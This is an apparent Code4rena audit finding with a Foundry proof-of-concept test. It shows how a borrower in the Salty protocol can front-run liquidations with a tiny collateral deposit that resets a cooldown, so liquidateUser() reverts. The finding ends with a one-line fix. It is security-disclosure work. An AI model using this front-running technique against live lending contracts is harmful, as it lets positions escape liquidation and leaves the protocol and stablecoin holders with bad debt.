User can prevent liquidators from closing their unhealthy positions

[c4-bot-3]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L154

Vulnerability details

Bug Description

In the Salty protocol, the USDS stablecoin is collateralized by WETH/WBTC. Users deposit collateral and borrow USDS based on their collateral's value. A liquidation mechanism activates if the collateral value falls below a set threshold (110% by default).

Unfortunately this measurement can be DOSd, forcing the protocol to incur bad debt. To liquidate a user the liquidateUser() function must be called. This function then calls to the _decreaseUserShare() function. The _decreaseUserShare() function gets called with the useCooldown parameter set to true.

if ( useCooldown )
if ( msg.sender != address(exchangeConfig.dao()) ) // DAO doesn't use the cooldown
    {
    require( block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire" );

    // Update the cooldown expiration for future transactions
    user.cooldownExpiration = block.timestamp + stakingConfig.modificationCooldown();
    }

If this parameter is set, all calls to _decreaseUserShare() will revert while the cooldown has not passed. The cooldown will be restarted everytime a call to _increaseUserShare() happens. So if a user detects that his position will be liquidated, he can frontrun the liquidation and quickly deposit a small amount of collateral restarting his cooldown. The cooldown duration is DAO controlled and can be in the range of 15min-6h. Subsequently the liquidation attempt will revert and the users position will be save from liquidation for up to 6 hours. When the cooldown runs out the user can keep monitoring the mempool and frontrun any new liquidation attempts using the same technique.

Impact

This vulnerability allows users to indefinitely delay liquidation, potentially leading the protocol to incur bad debt. If exploited on a large scale, it could result in the USDS stablecoin becoming undercollateralized, risking a depeg.

Proof of Concept

The exploit scenario is as follows:

• Alice deposits collateral and borrows USDS.
• Bob attempts to liquidate Alice's position when it becomes vulnerable.
• Alice sees Bob's transaction in the mempool and front-runs it by depositing a small amount of collateral.
• Bob's liquidation attempt fails due to the reset cooldown.

function testLiquidateImpossible() public {

    //------------------------- SETUP --------------------------------------------------

    // Total needs to be worth at least $2500
    uint256 depositedWBTC = ( 1000 ether *10**8) / priceAggregator.getPriceBTC();
    uint256 depositedWETH = ( 1000 ether *10**18) / priceAggregator.getPriceETH();

    (uint256 reserveWBTC, uint256 reserveWETH) = pools.getPoolReserves(wbtc, weth);

    //------------------------ TEST---------------------------------------------------------

    // Alice will deposit collateral
    vm.startPrank(alice);
    collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC * 2, depositedWETH * 2, 0, block.timestamp, false );
    vm.stopPrank();

    // Deposit extra so alice can withdraw all liquidity without having to worry about the DUST reserve limit
    vm.prank(DEPLOYER);
    collateralAndLiquidity.depositCollateralAndIncreaseShare( 1 * 10**8, 1 ether, 0, block.timestamp, false );

    vm.warp( block.timestamp + 1 hours );

    //Alcie borrows the USDS
    vm.startPrank(alice);
    vm.warp( block.timestamp + 1 hours);

    uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
    collateralAndLiquidity.borrowUSDS( maxUSDS );
    vm.stopPrank();

    // Try and fail to liquidate alice
    vm.expectRevert( "User cannot be liquidated" );
    vm.prank(bob);
    collateralAndLiquidity.liquidateUser(alice);

    // Artificially crash the collateral price
    _crashCollateralPrice();

    //Check if alice would be liquidatable now
    assertEq(collateralAndLiquidity.canUserBeLiquidated(alice), true, "Alice should be liquidatable");

    //Alice sees that bob wants to liquidate her in the mempool and frontruns by depositing a hundred wei (needs to be above DUST) of collateral to keep her position open
    vm.prank(alice);
    collateralAndLiquidity.depositCollateralAndIncreaseShare(101, 101, 0, block.timestamp, false );

    // Bob tries liquidating Alice's position but it reverts due to the cooldown
    vm.prank(bob);

    vm.expectRevert();
    collateralAndLiquidity.liquidateUser(alice);
}

The test must be added to /stable/tests/CollateralAndLiquidity.t.sol and can be run by calling COVERAGE="yes" NETWORK="sep" forge test -vvvv --rpc-url https://rpc.sepolia.org --match-test "testLiquidateImpossible".

Tools Used

Manual Review

Recommended Mitigation Steps

To address this issue, the cooldown mechanism in the _decreaseUserShare() function should be modified. Specifically, when liquidating a user, the function should be called with the useCooldown parameter set to false. This change will prevent users from exploiting the cooldown to avoid liquidation:

_decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, false );

Assessed type

Other

[c4-judge]

Picodes marked the issue as duplicate of #891

[c4-judge]

Picodes marked the issue as satisfactory